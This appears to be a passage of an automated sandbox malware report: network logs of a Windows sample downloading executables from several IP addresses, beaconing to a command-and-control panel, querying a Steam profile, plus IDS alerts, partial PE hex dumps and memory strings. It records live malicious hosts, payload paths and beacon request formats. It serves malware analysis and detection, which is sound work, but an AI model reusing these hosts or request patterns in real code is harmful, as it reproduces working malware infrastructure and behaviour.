00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc 01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 41 4d 01 00 00 10 00 00 00 4e 01 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 3c 7e 00 00 00 60 01 00 00 80 00 00 00 56 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 4c 1c 00 00 00 e0 01 00 00 12 00 00 00 d6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 00 00 00 00 00 02 00 00 02 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 80 13 00 00 00 10 02 00 00 14 00 00 00 ea 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 62 73 73 00 00 00 00 00 8e 04 00 00 30 02 00 00 8e 04 00 00 fe 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 00 8e 04 00 00 c0 06 00 00 8e 04 00 00 8c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 15 Dec 2024 10:59:47 GMTContent-Type: application/octet-streamContent-Length: 1881088Last-Modified: Sun, 15 Dec 2024 10:11:10 GMTConnection: keep-aliveETag: "675eab3e-1cb400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 62 fe 59 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 cc 03 00 00 b2 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 cf 69 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 10 05 00 00 10 00 00 00 48 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 20 05 00 00 04 00 00 00 58 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 30 05 00 00 02 00 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 40 05 00 00 02 00 00 00 5e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6a 71 6a 77 63 76 70 64 00 30 1a 00 00 20 30 00 00 2e 1a 00 00 60 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 67 76 79 78 76 75 69 00 10 00 00 00 50 4a 00 00 04 00 00 00 8e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 92 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 15 Dec 2024 10:59:57 GMTContent-Type: application/octet-streamContent-Length: 1831936Last-Modified: Sun, 15 Dec 2024 10:11:18 GMTConnection: keep-aliveETag: "675eab46-1bf400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 2a 01 00 00 00 00 00 00 00 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 6a 00 00 04 00 00 a0 f1 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 2a 00 00 c0 24 00 00 02 00 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 72 6a 78 73 66 72 72 00 50 1a 00 00 a0 4f 00 00 50 1a 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 77 67 68 76 62 70 61 00 10 00 00 00 f0 69 00 00 04 00 00 00 ce 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 00 6a 00 00 22 00 00 00 d2 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET /ShtrayEasy35.exe HTTP/1.1Host: hansgborn.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 31 32 37 37 31 42 31 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB12771B15982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 35 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015563001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /ShtrayEasy35.exe HTTP/1.1Host: hansgborn.eu
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 35 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015564001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 35 36 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015565001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 35 36 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015566001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 35 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015567001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 35 35 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1015568001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 104.21.16.1 104.21.16.1

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49760 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49777 -> 104.21.51.88:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49783 -> 172.67.218.51:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49784 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49791 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49804 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49805 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49839 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49857 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49876 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49890 -> 104.21.79.7:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49917 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49935 -> 104.21.16.1:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49928 -> 172.67.207.38:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49951 -> 23.55.153.106:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49950 -> 185.215.113.206:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: shineugler.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deafeninggeh.biz
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: drive-connect.cyou
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: immureprech.biz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: deafeninggeh.biz
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00AFE0C0 recv,recv,recv,recv,

0_2_00AFE0C0

Source: global traffic	HTTP traffic detected: GET /ShtrayEasy35.exe HTTP/1.1Host: hansgborn.euConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /files/flava/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /ShtrayEasy35.exe HTTP/1.1Host: hansgborn.eu
Source: global traffic	HTTP traffic detected: GET /files/burpin1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16

Source: 378e4894d2.exe, 00000006.00000002.2566305230.000000000154F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=139889eb4faf399171d43369; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35131Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveSun, 15 Dec 2024 10:59:26 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control!! equals www.youtube.com (Youtube)
Source: 378e4894d2.exe, 00000006.00000003.2553961207.0000000001584000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com 